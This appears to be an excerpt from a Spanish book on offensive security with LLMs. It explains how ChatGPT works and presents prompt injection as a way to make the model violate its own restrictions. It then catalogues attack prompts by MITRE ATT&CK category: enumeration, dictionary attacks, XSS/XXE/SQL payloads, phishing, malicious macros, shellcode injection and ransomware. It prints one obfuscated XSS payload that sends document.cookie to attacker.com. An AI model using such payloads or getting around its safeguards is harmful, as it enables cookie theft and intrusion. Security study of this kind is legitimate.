“inteligente”. Es por eso por lo que verá que cuando se hable de modelos 

LLM78,79 aparecerá el concepto de tokens80 y no de palabras, y la capacidad 

 
73 https://github.com/Hannibal046/Awesome-LLM 
74https://cobusgreyling.medium.com/the-foundation-large-language-model-llm-

tooling-landscape-8a849ebc7228 
75 https://a16z.com/2023/06/20/emerging-architectures-for-llm-applications/ 
76 https://www.kdnuggets.com/2023/06/falcon-llm-new-king-llms.html 
77 https://www.coursera.org/specializations/natural-language-processing 
78 Habitualmente encontrará determinadas propuestas de configuración para redes 

neuronales en este contexto. Es por ejemplo habitual encontrar Transformers como base 

para el diseño de la red - https://en.wikipedia.org/wiki/Transformer_ 

(machine_learning_model) 
79 Esta nueva aproximación algorítmica empieza a tener un recorrido importante entre 

2017/2018 como un avance en las tecnologías de procesamiento de lenguaje natural 

alejándose de propuestas de entrenamiento exclusivamente supervisadas que 

necesitaban datos de entrenamiento previamente etiquetados. El resultado es más que 

evidente, la calidad de los resultados y las inferencias generadas están mostrando una 

enorme utilidad para la generación sintética de texto, traducción de idiomas, resumen 

de información, análisis de información, etc. 
80 En la creación de modelos LLM observará una serie de pasos habituales. Entre ellos, 

especialmente para la generación de los modelos GPT, podrá ver, en sus siglas en inglés: 

Transformer architecture, Large-scale pre-training, Fine-tuning, Tokenization, Context 

Window, Probability distribution and sampling y Fine-grained control. 



Seguridad ofensiva en machine learning. +100 prompts injections en ChatGPT 

  Página | 48 

de poder procesar tokens más grandes permite, al menos con los resultados 

observados estos últimos años, mejores resultados. 

 

Por ejemplo, en 2023 fue liberado GPT-481,82 de la empresa OpenAI 

entrenado con un billón de parámetros con la capacidad de procesar 32.768 

tokens83 a la vez (decenas de páginas de texto para tener una referencia) y 

con un coste de entrenamiento de decenas de millones de dólares (se estima 

entre 50 a 100 millones, aunque las fuentes no están claras) y un coste de 

mantenimiento de la infraestructura de cientos de miles de dólares por día84. 

El entrenamiento se realizó en dos fases, una más o menos habitual técnica 

y una segunda con retroalimentación humana85 aplicando ciertas 

restricciones (contenido sexual, violento, etc.). 

 

En resumen, un modelo LLM se formará gracias a un proceso más o menos 

habitual de procesamiento de lenguaje natural (NLP) y la configuración de 

una o más redes neuronales específicas, donde principalmente se construye 

la magia. Piense por ejemplo en las tecnologías de chatbot y cómo 

ChatGPT está revolucionando diferentes sectores. 

 

En este punto quizás se esté haciendo una pregunta, más allá del campo de 

la ciberseguridad. ¿Puede sustituir este avance en inteligencia artificial a la 

inteligencia humana? Mi respuesta rápida sería no, aunque es cierto que la 

capacidad de inferencia86,87 de estos modelos nos haga en ocasiones dudar. 

Intentemos responder esta pregunta de manera un poco más detallada. 

 

El problema de cómo interpretamos cuando algo es inteligente a menudo 

tiene que ver con el uso de la memoria y cómo podemos inferir o relacionar 

datos memorizados. Claramente en este sentido los seres humanos no 

tenemos mucho que ofrecer a la inteligencia artificial, es cuestión de tiempo 

que la inteligencia artificial nos supere en múltiples ámbitos. El problema 

surge cuando meditamos que quizás eso no sea realmente la inteligencia y 

aquí surgen debates de inmenso calado que afectan a muchos ámbitos de 

nuestra sociedad, pero fundamentalmente a nuestro sistema 

 
81 https://en.wikipedia.org/wiki/GPT-4 
82 https://openai.com/research/gpt-4 
83https://www.genbeta.com/actualidad/claude-destroza-a-chatgpt-ahora-puede-

procesar-analizar-libro-entero-gracias-al-debut-sus-100-000-tokens-contexto 
84 https://hipertextual.com/2023/04/openai-gasto-mantener-activo-chatgpt 
85 https://en.wikipedia.org/wiki/Reinforcement_learning_from_human_feedback 
86 https://news.mit.edu/2023/large-language-models-in-context-learning-0207 
87 https://www.cnbc.com/2023/05/25/jpmorgan-develops-ai-investment-advisor.html 
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educativo88,89,90,91 y a muchas profesiones. Adicionalmente, se ha 

observado que los modelos LLM afirman con confianza afirmaciones que 

de hecho no parecen estar justificadas por sus datos de entrenamiento, un 

fenómeno que se ha denominado "alucinación"92,93 y que tiene que ver 

mucho con lo que ya hemos hablado en capítulos anteriores sobre la 

explicabilidad94 de los modelos y la confianza95,96 ciega en este tipo de 

tecnologías. Otro asunto importante es el tema del overfitting97,98. Si una IA 

está entrenada con todos los datos disponibles y le preguntamos sobre 

alguno de esos datos, ¿realmente no estamos haciendo trampas? ¿Eso no es 

inteligencia? Probablemente esté pensando ahora mismo que eso importa 

poco si somos capaces de hacer aplicaciones prácticas con resultados 

disruptivos en múltiples áreas y sectores, incluso en algunos que nos 

pueden llegar a aterrorizar99. Por último, hay una cuestión de acceso libre 

a estos sistemas, pero eso lo abordaremos más adelante. 

 

Lógicamente, además de todo lo anterior, hay cuestiones de seguridad 

intrínsecas a estos modelos LLM a considerar. OWASP ya iniciado un 

proceso para enumerar los más habituales100. 

 

  

 
88https://www.genbeta.com/a-fondo/chatgpt-puede-ayudarte-a-sacar-sobresaliente-

selectividad-ponemos-a-prueba-para-generar-ejercicios-modelo 
89https://venturebeat.com/ai/why-exams-intended-for-humans-might-not-be-good-

benchmarks-for-gpt-4/ 
90https://www.schneier.com/blog/archives/2023/05/large-language-models-and-

elections.html 
91 https://arxiv.org/abs/2304.06122 
92https://www.genbeta.com/actualidad/nvidia-sabe-que-chatgpt-otras-inteligencias-

artificiales-alucinan-esta-herramienta-su-manera-intentar-solucionarlo 
93https://www.xataka.com/robotica-e-ia/sabiamos-que-chatgpt-puede-ser-toxico-

instrucciones-adecuadas-puede-serlo-muchisimo 
94https://arstechnica.com/information-technology/2023/05/openai-peeks-into-the-

black-box-of-neural-networks-with-new-research/ 
95 https://www.schneier.com/blog/archives/2023/05/building-trustworthy-ai.html 
96 https://softwarecrisis.dev/letters/the-poisoning-of-chatgpt/ 
97 https://en.wikipedia.org/wiki/Overfitting 
98https://research.nccgroup.com/2023/05/22/exploring-overfitting-risks-in-large-

language-models/ 
99https://www.schneier.com/blog/archives/2023/04/using-llms-to-create-

bioweapons.html 
100 https://owasp.org/www-project-top-10-for-large-language-model-applications/ 
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2.3 Funcionamiento de ChatGPT. Limitaciones y prompt injection 

 

El chatbot ChatGPT101,102,103,104,105 probablemente sea uno de los mejores 

casos de uso, o al menos el más mediático, de aplicación práctica y con 

impacto de los modelos LLM. Si preguntamos a ChatGPT sobre sí mismo 

podemos empezar a intuir su calidad. 

 

ChatGPT es un modelo de lenguaje desarrollado por OpenAI. Está basado 

en la arquitectura GPT (Generative Pre-trained Transformer), en 

particular, en la versión GPT-3.5. GPT, que significa "Generative Pre-

trained Transformer", es un modelo de aprendizaje automático diseñado 

para generar texto coherente y relevante. Se entrena en grandes cantidades 

de datos de texto de Internet y aprende a predecir la siguiente palabra en 

una oración dada su historia previa. El modelo GPT-3.5 utilizado en 

ChatGPT tiene 175 mil millones de parámetros, lo que lo convierte en uno 

de los modelos de lenguaje más grandes y potentes creados hasta la fecha. 

Esto le permite comprender y generar texto en una amplia variedad de 

temas y contextos. ChatGPT se utiliza principalmente para tareas de 

generación de texto en lenguaje natural, como responder preguntas, 

mantener conversaciones, proporcionar explicaciones, redactar textos 

creativos y mucho más. Puede interactuar con los usuarios en forma de 

chat, ofreciendo respuestas completas y coherentes en función de la 

información proporcionada. 

 

El modelo GPT-3.5, en el que se basa ChatGPT, tiene un límite de tamaño 

de token de entrada de 4096 tokens. ChatGPT fue entrenado utilizando una 

amplia variedad de textos de Internet. Sin embargo, los detalles específicos 

sobre los conjuntos de datos exactos utilizados para entrenar ChatGPT y 

la metodología de selección de textos no están disponibles públicamente. 

 

La red neuronal de ChatGPT se basa en la arquitectura GPT (Generative 

Pre-trained Transformer), que consta de dos componentes principales: un 

codificador y un decodificador. El codificador es responsable de procesar 

la secuencia de entrada y extraer características contextualizadas de cada 

 
101 https://chat.openai.com/ 
102https://www.xataka.com/robotica-e-ia/siguiente-salto-chatgpt-se-llama-auto-gpt-

genera-codigo-forma-autonoma-esta-aqui 
103https://github.com/Significant-Gravitas/Auto-GPT y 

https://decrypt.co/es/126250/conoce-chaos-gpt-ia-destruir-humanidad 
104 https://www.xatakandroid.com/tutoriales/lado-oscuro-chatgpt-asi-puedes-activar-

modo-diablo-ia-openai-tu-movil 
105 https://computerhoy.com/ciberseguridad/modo-abuela-chatgpt-como-funciona-tan-

peligroso-1263168 
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token. En el caso de ChatGPT, el texto de entrada se divide en tokens, y 

cada token se pasa a través de múltiples capas de atención y 

transformación en el codificador. Estas capas ayudan al modelo a capturar 

las relaciones de contexto entre las palabras y a aprender representaciones 

de alta calidad para cada token. Después de que la secuencia de entrada 

ha sido procesada por el codificador, el decodificador toma la salida del 

codificador y genera una secuencia de salida. En el caso de ChatGPT, la 

secuencia de salida es texto generado en respuesta a la entrada del 

usuario. El decodificador también utiliza múltiples capas de atención y 

transformación para generar la secuencia de salida de manera coherente 

y relevante. La atención es un componente clave en la arquitectura 

Transformer utilizada por GPT. Permite que el modelo dedique más 

atención a ciertos tokens o partes del texto de entrada, lo que ayuda a 

capturar las dependencias a largo plazo y a generar respuestas más 

contextualmente adecuadas. Antes de estar disponible para su uso como 

ChatGPT, el modelo pasa por una etapa de entrenamiento previo en la que 

se expone a grandes cantidades de texto sin supervisión. Durante esta 

etapa, el modelo aprende a predecir la siguiente palabra en una oración 

basándose en el contexto anterior. Este proceso de entrenamiento ayuda 

al modelo a capturar patrones y estructuras del lenguaje. Luego, el modelo 

se sintoniza o se ajusta a tareas específicas adicionales utilizando 

conjuntos de datos específicos. Esto permite que el modelo sea más útil y 

preciso en la generación de respuestas en un contexto de conversación. En 

resumen, la red neuronal de ChatGPT utiliza una arquitectura GPT 

basada en codificadores y decodificadores con múltiples capas de atención 

y transformación para procesar y generar texto de manera coherente y 

relevante. 

 

La principal diferencia entre ChatGPT Plus106 y la versión gratuita es que 

los suscriptores de ChatGPT Plus obtienen acceso prioritario a los 

servidores y a nuevos modelos (por ejemplo, GPT4) lo que les permite 

experimentar menos tiempos de espera y disfrutar de una experiencia más 

fluida al interactuar con el modelo. 

 

 
106https://www.xataka.com/basics/gpt-4-gratis-5-maneras-poder-utilizarlo-pagar-

chatgpt-plus 
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Ilustración 23. Interfaz web del chatbot ChatGPT 

El éxito de ChatGPT, a diferencia de otros chatbots, es su capacidad no 

solo de generar texto con una altísima calidad humana, sintáctica y 

semántica, sino además de su capacidad de inferencia y respuesta actuando 

de maneras diversas según lo indicado por el usuario. Se han hecho muy 

populares prompts107 del tipo “actúa como” (act as…) seguido de la 

descripción específica de acciones a realizar. ChatGPT se comporta 

excelentemente bien en este contexto. Por ejemplo: 

 

Quiero que actúes como entrevistador. Yo seré el candidato y tú me harás 

las preguntas de la entrevista para el puesto. Quiero que sólo respondas 

como entrevistador. No escribas toda la conservación a la vez. Quiero que 

sólo hagas la entrevista conmigo. Hazme las preguntas y espera mis 

respuestas. No escribas explicaciones. Hazme las preguntas una a una 

como hace un entrevistador y espera mis respuestas. Mi primera frase es 

"Hola" 

o  

Quiero que actúes como una consola javascript. Yo teclearé comandos y 

tú responderás con lo que debería mostrar la consola JavaScript. Quiero 

que sólo respondas con la salida del terminal dentro de un único bloque 

de código, y nada más. no escribas explicaciones. no escribas comandos a 

menos que yo te lo indique. cuando necesite decirte algo en inglés, lo haré 

poniendo texto dentro de llaves {como esto}. Mi primer comando es 

console.log("Hola Mundo"); 

 

Al haber sido entrenado con un volumen inmenso de datos y parámetros su 

conocimiento, memorización, del “mundo” es muy amplia lo que le permite 

comportarse no solo como un chat conversacional más o menos tradicional, 

 
107 https://github.com/f/awesome-chatgpt-prompts 
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sino que posee un conocimiento muy específico de múltiples disciplinas, 

personalidades, eventos, etc. Eso lo convierte en una herramienta muy 

poderosa. Y es precisamente aquí por qué tiene sentido analizar si puede 

tener uso en ciberseguridad, ofensivo y defensivo. 

Entenderá mejor ahora por qué puede ser tan importante la ingeniería de 

prompts. El modelo devolverá unos u otros datos dependiendo de la 

consulta. En ocasiones las consultas más evidentes no aportarán ninguna 

información, pero consultas más creativas e indirectas harán que el modelo 

nos responda de manera deseada, incluso violando sus propias 

restricciones. Es aquí donde el prompt injection tiene una enorme utilidad 

y supone, lógicamente, un peligro. Veremos múltiples ejemplos en el 

capítulo dedicado a ciberseguridad. De la misma forma muchos de los 

ataques enumerados a la inteligencia artificial en apartados anteriores 

podrían ser de utilidad también contra los modelos LLM108. 

Cualquier persona inquieta, ingeniosa, curiosa y por supuesto hacker le 

encantará la disciplina de prompt injection, especialmente si se puede 

forzar a la tecnología a hacer cosas para las que no está aparentemente 

diseñada. Un amigo lo define como el truco del prestidigitador. El objetivo 

es que el modelo de LLM ponga foco en una parte de la conversación y en 

un momento dado se le fuerce a perder el contexto (la memoria) 

respondiendo de manera no controlada. Esta manera de proceder es todo 

un arte. Lo veremos con múltiples ejemplos en el capítulo posterior. 

La mayoría de las aplicaciones de uso que utilizan modelos LLM utilizan 

los prompts de los usuarios para mejorar sus sistemas. Esto tiene dos 

implicaciones evidentes. La primera tiene que ver con la privacidad, toda 

consulta termina en servidores de terceros. Si ha utilizado ChatGPT sabrá 

que la potencia de la herramienta hace que los usuarios tiendan a introducir 

datos personales o profesionales privados para ayudarles en sus tareas del 

día a día. Redactar un correo electrónico, unas fórmulas en una hoja de 

Excel, analizar un código fuente, etc. Lógicamente yo no voy a indicar que 

no se usen estas tecnologías, simplemente ser conscientes del riesgo y fuga 

de datos que se puede producir y evaluar cada uno su modelo de riesgo 

asociado a la fuga de esos datos. En función de la aplicación que utilice, la 

política de privacidad podría permanecer estática o evolucionar109. La 

segunda implicación tiene que ver la caducidad del prompt injection. Los 

sistemas evolucionan y por tanto consultas creativas que dan resultados no 

 
108 https://research.nccgroup.com/2021/12/31/on-the-malicious-use-of-large-language-

models-like-gpt-3/ 
109 https://www.genbeta.com/paso-a-paso/puedes-usar-chatgpt-privacidad-asi-puedes-

configurarlo-no-guarde-tu-historial-chats 
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permitidos es cuestión de tiempo que vayan desapareciendo, si eso es bueno 

o malo solo el tiempo lo dirá. Esperemos que las máquinas no evolucionen 

tanto como para armarse, impedir nuestros prompt injection y aniquilarnos. 

Lógicamente esto no sucederá… o sí :) 
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Capítulo 3 - +100 prompts en ChatGPT para atacar y 

defender organizaciones. 

 

Si crees que la tecnología puede solventar 

tus problemas de seguridad, entonces  

no entiendes los problemas y  

no entiendes de tecnología 
 

Bruce Schneier 

 

En los capítulos anteriores ha podido descubrir los rápidos avances en la 

inteligencia artificial y el interés que muchos, entre los que me encuentro, 

en analizar la utilidad real de estos avances en el campo de la 

ciberseguridad. Como he recogido en los capítulos anteriores hay diversas 

referencias donde se ha podido analizar muchos de estos avances pero 

todavía, por la novedad de la temática, no hemos tenido tiempo para reflejar 

en una obra, como cubre el presente libro, el potencial real de los modelos 

LLM en el campo de la ciberseguridad. 

 

A lo largo de este capítulo voy a recopilar toda una serie de prompts tanto 

para ataque como para defensar apoyándome en estos modelos y en 

concreto, por su facilidad de uso y acceso, usando el chatbot ChatGPT. 

 

Lo que verá a continuación son simplemente ejemplos que le abrirán su 

mente. Los modelos evolucionan y puede que con el tiempo algunos 

prompts no muestren el mismo resultado o efecto que cuando se escribieron 

en estas páginas. No obstante, son suficientemente ilustrativos para evaluar 

el potencial de estos modelos en multitud de disciplinas dentro del área de 

ciberseguridad. 

 

Adicionalmente a estos ejemplos he añadido diferentes marcos de 

referencia o trabajo, tanto para ataque como para defensa. Conocerlos 

ayudará sin duda a la creación de nuevos prompts. 
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3.1 Atacando organizaciones. Prompts y recomendaciones  

 

3.1.1 MITRE ATT&CK. Organizando y creando nuevos prompts 

 

Para la creación e invención de nuevos prompts basados en modelos LLM 

le recomiendo apoyarse en frameworks de ciberseguridad, éstos, mediante 

sus temáticas y conceptos, le ayudarán significativamente en su objetivo de 

extraer información útil de los modelos LLM o de aplicaciones, como 

ChatGPT, que le den acceso a los mismos. 

 

En este sentido, si pensamos en ataque, uno de los frameworks de 

referencia a considerar son los creados por The MITRE Coorporation, 

especialmente nuestro framework de referencia para los que nos dedicamos 

al lado ofensivo, MITRE ATT&CK framework. 

 

La mejor manera de optimizar el presupuesto de ciberseguridad cuando se 

trata de reducir los ciberataques es conocer las tácticas, técnicas y 

procedimientos de los atacantes (TTP). En la literatura clásica sobre 

ciberseguridad, esto se describe mediante el concepto de kill-chain 

introducido por Lockheed Martin. La kill-chain define el conjunto de 

acciones requeridas por un ciberatacante para lograr su objetivo. Si una 

organización puede evitar una o varias de ellas, podría interrumpir la kill-

chain y detener el ataque. Es en este punto donde el marco ATT&CK de 

MITRE resulta tan útil para las organizaciones. Lógicamente esta 

caracterización se usa también en la formalización de un ataque y es como 

podemos usarlo para analizar el resultado de prompts en categorías de 

ataque específicas, creando y mejorando técnicas existentes. 

 

MITRE ATT&CK es una base de conocimientos de acceso global sobre 

tácticas y técnicas de los adversarios basada en observaciones del mundo 

real. La base de conocimientos ATT&CK se utiliza como fundamento para 

el desarrollo de modelos y metodologías de amenazas específicas en el 

sector privado, en la administración pública y en la comunidad de 

productos y servicios de ciberseguridad. 

 

Este mapa representa combinaciones (kill-chain) de técnicas y subtécnicas 

que un atacante podría utilizar para comprometer una organización. El 

marco ATT&CK de MITRE las estudia y detalla, facilitando la creación de 

contramedidas - https://attack.mitre.org/matrices/enterprise/ 
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La matriz de MITRE ATT&CK le facilitará poner foco en categorías 

específicas y le ayudará a dar contexto en la creación de prompts 

específicos. Creo que esta aproximación es más adecuada que generar 

simplemente prompts que facilitan tareas de ataque. En el siguiente 

apartado analizaremos el resultado de muchos prompts variados en 

ChatGPT e intentaré agruparlos para facilitarle su razonamiento e 

invención de nuevos. Espero que lo disfrute. 

 

3.1.2 Listado de promtps para el ataque. Sugerencias y limitaciones 

 

En los siguientes apartados se recopilan diferentes prompts, en español e 

inglés, de diversos autores (referencias añadidas a pie de página110), con 

utilidad en el proceso de ataque y evaluación técnica de sistemas, software, 

redes y organizaciones. Ninguno de estos prompts le convertirán en un 

 
110 Si observa una letra A en el usuario que envía la solicitud eso hace referencia al autor 

de este libro. 
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experto en ciberseguridad pero le permitirán entender bien el potencial de 

aplicar los nuevos modelos de inteligencia artificial desde aplicaciones de 

uso sencillo, como es ChatGPT. Con la creatividad adecuada le permitirán 

ahorrar mucho tiempo en la consulta y configuración de ataques y quizás, 

en el mejor de los casos, consiga algún resultado que no hubiera sido 

posible con su conocimiento y experiencia. 

 

Espero que los siguientes prompts le resulten de inspiración111,112,113. 

 

 
 

 

 

 

 

 

    

 

 

 
111 https://twitter.com/sec_r0/status/1607417519752503297 
112 https://github.com/GreyDGL/PentestGPT 
113 https://socradarxti.medium.com/chatgpt-for-pentesters-d7e9c15aabae 
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3.1.2.1 Enumeración - Fingerprinting y footprinting 

 

En cualquier auditoría de hacking ético las fases de enumeración e 

identificación son esenciales. En estas disciplinas encontramos una enorme 

variedad de herramientas y metodologías posibles, incluyendo lógicamente 

el conocimiento de fuentes abiertas114. En función de la tecnología a 

auditar115, los modelos LLM podrían ayudarle en la selección de 

herramientas, la configuración adecuada de las mismas o mejores 

estrategias de uso. A continuación, se cita ejemplos concretos de uso y su 

resultado. 

 

3.1.2.1.1 Enumeración de direcciones IP y búsqueda de 

vulnerabilidades 

 

 

 
114 https://inteltechniques.com/ 
115 Hacking my neighbour’s wifi - https://kaneofthrones.medium.com/hackgpt-part-2-

hacking-my-neighbours-wifi-914beb942256 
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3.1.2.1.1 Enumeración de subdominios en bash116 

 

 
 

 

 
116 https://twitter.com/rajneeshcyber/status/1636510186335768576 
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3.1.2.1.2 Enumeración de directorios y rutas en un dominio en bash117 

 

 
 

  

 
117 https://twitter.com/rajneeshcyber/status/1636510186335768576 
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3.1.2.1.3 Enumeración de máquinas dado una lista de servidores 

usando bash 
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3.1.2.1.4 Enumeración de usuarios y ataque de diccionario 

(contraseñas) en una url almacenando resultado en fichero CSV 
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3.1.2.1.5 Ataque de diccionario a autenticación HTTP NTLM usando 

una lista de usuarios y passwords118. 

 

 

 
118 https://securityblueteam.medium.com/ChatGPT-for-offensive-and-defensive-cyber-

f954f51aa79f 
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3.1.2.1.6 Atacando el protocolo LLMNR usando la herramienta 

Responder119,120 

 

 

 
119 https://securityblueteam.medium.com/ChatGPT-for-offensive-and-defensive-cyber-

f954f51aa79f 
120 https://www.securityartwork.es/2015/07/02/una-introduccion-a-responder/ 
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3.1.2.2 Inyección de código y fuzzing 

 

Muchos de los principales problemas de seguridad actuales vienen 

derivados de validaciones incorrectas de parámetros de entrada tanto en 

tecnologías de la información y en software. Cualquier auditor intentará, 

mediante mecanismos más o menos creativos, inyectar algún tipo de código 

malicioso o con un comportamiento no esperado para conseguir progresar 

en su proceso de ataque. Ataques tan conocidos como XSS, XXE, 

inyecciones SQL, etc., son comunes. 

 

En muchos casos cuando el auditor/atacante no dispone de suficiente 

información o conocimiento para progresar algunos de los ataques 

anteriores suele recurrir a técnicas de fuzzing que, con estrategias más o 

menos inteligentes, puede realizar procesos de adivinación por prueba y 

error. 

 

A continuación, observará algunos ejemplos generados con modelos LLM. 

Estos ejemplos no son ni mucho menos perfectos, es más algunos son 

básicos, pero le ayudarán a comprender mejor la capacidad y limitaciones 

en la generación automática de este tipo de ataques. 

 

Si desea profundizar de manera más detallada en los ataques, sin soporte 

de inteligencia artificial, le recomiendo estos recursos esenciales para 

comenzar121,122,123,124,125. 
 

  

 
121 https://owasp.org/www-community/attacks/xss/ 
122 https://github.com/payloadbox/xss-payload-list 
123 https://github.com/payloadbox/xxe-injection-payload-list 
124 https://github.com/payloadbox/sql-injection-payload-list 
125 https://github.com/secfigo/Awesome-Fuzzing 
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3.1.2.2.1 Cross-site scripting (XSS) payloads126,127 

 

 
 

 
126 https://infosecwriteups.com/openai-chatgpt-for-cyber-security-4bc602069f9c 
127 https://twitter.com/XssPayloads/status/1603615967623405574 
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128 

 
 

 

 
128https://bugbountyguide.org/bug-bounty/bug-bounty-tips/#XSSPayload, 

https://twitter.com/TakSec/status/1598407015289667585 
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Juguemos un poco con el prompt anterior pero tiempo después de la 

sugerencia del autor que hemos referenciado, podemos ver cómo 

evolucionan los modelos y las restricciones (May, 2023): 
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El código que indica sería: 

javascript:/*--

></title></style></textarea></script></xmp><svg/onload=setTimeout('lo

cation=String.fromCharCode(104,116,116,112,115,58,47,47,97,116,116,9

7,99,107,101,114,46,99,111,109,47,120,115,115,46,106,115,63,120,61,10

0,111,99,117,109,101,110,116,46,99,111,111,107,105,101)', 1)// 

 

Si sabe un poco de XSS129 verá que no necesariamente el modelo responde 

mejor aunque seamos muy insistentes, la creatividad en la pregunta es de 

nuevo la clave. 

Incluso probando prompts de XSS el propio motor del chatbot de ChatGPT 

podría ser vulnerable130. 

 

 

 

 
129 https://github.com/payloadbox/xss-payload-list 
130 https://twitter.com/kinugawamasato/status/1649080543840210945 
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3.1.2.2.2 XXE payloads131 
 

 
 

 

 

 
131 https://infosecwriteups.com/xxe-with-ChatGPT-3e4aa7c4b9c9 
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3.1.2.2.3 Structured Query Language (SQL) injections. Payloads y 

búsqueda de vulnerabilidades132 
 

 
 

 

 

 
 

 
132 https://securityblueteam.medium.com/ChatGPT-for-offensive-and-defensive-cyber-

f954f51aa79f 



Seguridad ofensiva en machine learning. +100 prompts injections en ChatGPT 

  Página | 85 

 
 

 

En ocasiones simplemente querrá entender más fácilmente como utilizar 

una herramienta de auditoría para analizar el uso de SQL. Entre las más 

famosas se encuentra, sin duda, SQLmap. Un simple prompt preguntando 

como analizar la presencia de fallos de este tipo en una web le facilitará su 

uso. 
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3.1.2.2.4 Command injection con binary ninja plugin133 

 

 

 

 

 
133 https://twitter.com/d0now_kim/status/1599616142196498434 
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Si solicitamos la misma consulta en otro momento: 
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3.1.2.2.5 Fuzzing. Inyección automatizada de datos134 

 

 
 

 
134 https://medium.com/@david.azad.merian/chatgpt-python-to-automate-fuzz-testing-

setup-9d11d6cbc89e 
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3.1.2.3 Spear Phishing y Business Email Compromise (BEC) 

 

Históricamente el problema de los correos electrónicos falsos, 

especialmente usados en phishing, era su mala calidad lingüística, 

traducción y en la mayoría de los casos su temática, mensajes abstractos y 

genéricos. Los modelos LLM135, y el chatbot ChatGPT en particular, han 

cambiado drásticamente la forma en que potenciales atacantes pueden crear 

mensajes automatizados con una gran calidad136,137,138. Observe este 

apartado es buen ejemplo de ello. 

 

3.1.2.3.1 Creación automática de correos electrónicos para phishing o 

spam139 

 

 
135 https://www.schneier.com/blog/archives/2023/04/llms-and-phishing.html 
136 Scamming the Scammers: Using ChatGPT to Reply Mails for Wasting Time and 

Resources - https://arxiv.org/abs/2303.13521 
137 https://curtbraz.medium.com/a-practical-ai-generated-phishing-poc-f81d3c3da76b 
138 Can ChatGPT detect phishing links? https://securelist.com/chatgpt-anti-

phishing/109590/ 
139 https://research.checkpoint.com/2022/opwnai-ai-that-can-save-the-day-or-hack-it-

away/ 
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140 

 

 
140 https://securityblueteam.medium.com/ChatGPT-for-offensive-and-defensive-cyber-

f954f51aa79f 
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3.1.2.3.2 Creación de documentos ofimáticos maliciosos141 

 

Uno de los principales vectores de ataque a una organización o particular 

es a través de documentos ofimáticos maliciosos142. Documentos 

ofimáticos tipo Microsoft Word, Excel o PowerPoint que permiten de 

alguna forma ejecutar código adicional143. 

 

Habitualmente el código malicioso se incorpora en macros o mediante el 

uso de algún lenguaje de programación de scripting que puede ser 

habilitado con alguna interacción, por ejemplo, cuando el usuario pulsa un 

botón determinado permitiendo el uso de macros. A continuación, verá 

algunos ejemplos para iniciar el desarrollo de este tipo de ataques. Si 

trabaja en el desarrollo o detección de malware observará de mejor manera 

las ventajas y limitaciones del uso de estos modelos para este fin. 

 

 

 
141 https://research.checkpoint.com/2022/opwnai-ai-that-can-save-the-day-or-hack-it-

away/ 
142 https://www.deepinstinct.com/blog/malicious-office-files-20-years-of-microsoft-

office-exploits 
143 Office Application Startup: Office Template Macros 

https://attack.mitre.org/techniques/T1137/001/ 



Seguridad ofensiva en machine learning. +100 prompts injections en ChatGPT 

  Página | 97 
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3.1.2.4 Código malicioso. Malware y ransomware144 

 

Desde hace décadas diferentes desarrolladores e investigadores han 

dedicado tiempo y esfuerzo al desarrollo de código malicioso con un 

objetivo de ataque concreto. Estos códigos maliciosos, malware en general, 

se ha ido perfeccionando con técnicas de ocultación y ofuscación para 

resultar más difíciles de detectar y bloquear. A continuación, se recopila un 

par de ejemplos sencillos para que comprender que también es posible, con 

más o menos restricciones, apoyarse en los modelos LLM con propósitos 

maliciosos. 

 

Si desea profundizar en el apasionante mundo del malware y el 

ransomware, lo que le facilitará realizar las consultas adecuadas a los 

modelos LLM, le recomiendo las siguientes referencias: 

 

Libros: 

   

Practical Malware Analysis: The Hands-On Guide to Dissecting Malicious 

Software145 

Learning Malware Analysis: Explore the concepts, tools, and techniques to 

analyze and investigate Windows malware146  

Malware Data Science: Attack Detection and Attribution147  

Hacking Exposed Malware & Rootkits: Security Secrets and Solutions148  

Practical Binary Analisis149 

 

Cursos y recursos online: 

 

https://gbhackers.com/malware-analysis-cheat-sheet-and-tools-list/ 

https://github.com/RPISEC/Malware 

https://github.com/OpenRCE/Malware-Analysis-Training 

https://github.com/ckane/CS7038-Malware-Analysis 

https://github.com/abhisek/reverse-engineering-and-malware-

analysis/blob/master/gitbook/SUMMARY.md 

 
144https://www.forcepoint.com/blog/x-labs/zero-day-exfiltration-using-ChatGPT-

prompts 
145https://www.amazon.es/Practical-Malware-Analysis-Hands-Dissecting/dp/ 

1593272901 
146https://www.amazon.es/Learning-Malware-Analysis-techniques-investigate-

ebook/dp/B073D49Q6W 
147https://www.amazon.es/Malware-Data-Science-Detection-Attribution/dp/ 

1593278594 
148https://www.amazon.es/HACKING-EXPOSED-MALWARE-ROOTKITS-

Solutions/dp/0071591184 
149 https://practicalbinaryanalysis.com/ 
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https://github.com/rshipp/awesome-malware-analysis 

https://github.com/vxunderground/MalwareSourceCode 

 

https://github.com/blaCCkHatHacEEkr/PENTESTING-BIBLE 

https://github.com/newlog/r2_malware_unpacking_training 

https://marcoramilli.com/2020/10/09/how-to-unpack-malware-personal-

notes/ 

https://resources.infosecinstitute.com/topic/top-13-popular-packers-used-

in-

malware/?utm_source=feedburner&utm_medium=feed&utm_campaign=

Feed%3A%20infosecResources%20%28InfoSec%20Resources%29 
 

3.1.2.4.1 Inyectar una shellcode en el proceso “explorer.exe” usando 

Python150 

 

Uno de los objetivos de cualquier malware es la ejecución de código 

malicioso de manera más o menos sigilosa. Es habitual enmascarar este 

comportamiento en herramientas o procesos legítimos del sistema. El 

ejemplo siguiente muestra un intento del modelo GPT3.5 de generar un 

código básico para realizar una inyección de una librería de código DLL151 

en uno de los procesos más famosos del sistema operativo Microsoft 

Windows, el proceso “explorer.exe”. Esté código no es completamente 

funcional pero muestra una tendencia interesante y una base para seguir 

trabajando. 

 

 

 

 
150 https://www.cyberark.com/resources/threat-research-blog/chatting-our-way-into-

creating-a-polymorphic-malware 
151 https://es.wikipedia.org/wiki/Biblioteca_de_enlace_dinámico 
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3.1.2.4.2 Búsqueda de ficheros a cifrar por un ransomware 

 

El ransomware152 es una pieza de software que utiliza la criptografía para 

secuestrar la información de usuarios, que mediante algún tipo de extorsión 

pagarán para recuperar su información en claro. Algunos ransomware 

famosos son Petya, NotPetya, CryptoLocker, WannaCry, etc. 

Criptográficamente la gran mayoría de ransomware no tiene gran misterio. 

Habitualmente, se aplica alguno de los siguientes procedimientos: la 

contraseña usada para cifrar está codificada directamente en el malware, la 

clave criptográfica la obtiene de un servidor C&C153 o la genera en la propia 

máquina infectada. Habitualmente, se infecta un equipo, se generan al 

vuelo claves para usar con un cifrado simétrico (rapidez) y esas claves se 

cifran con una clave pública (con cualquier de los algoritmos asimétricos 

tradicionales). Por último, se seleccionan los ficheros a cifrar y se procede 

a ello. 

 

La parte de cifrado de un ransomware es relativamente sencilla. Los 

modelos LLM pueden ayudar en la creación de esquemas funcionales con 

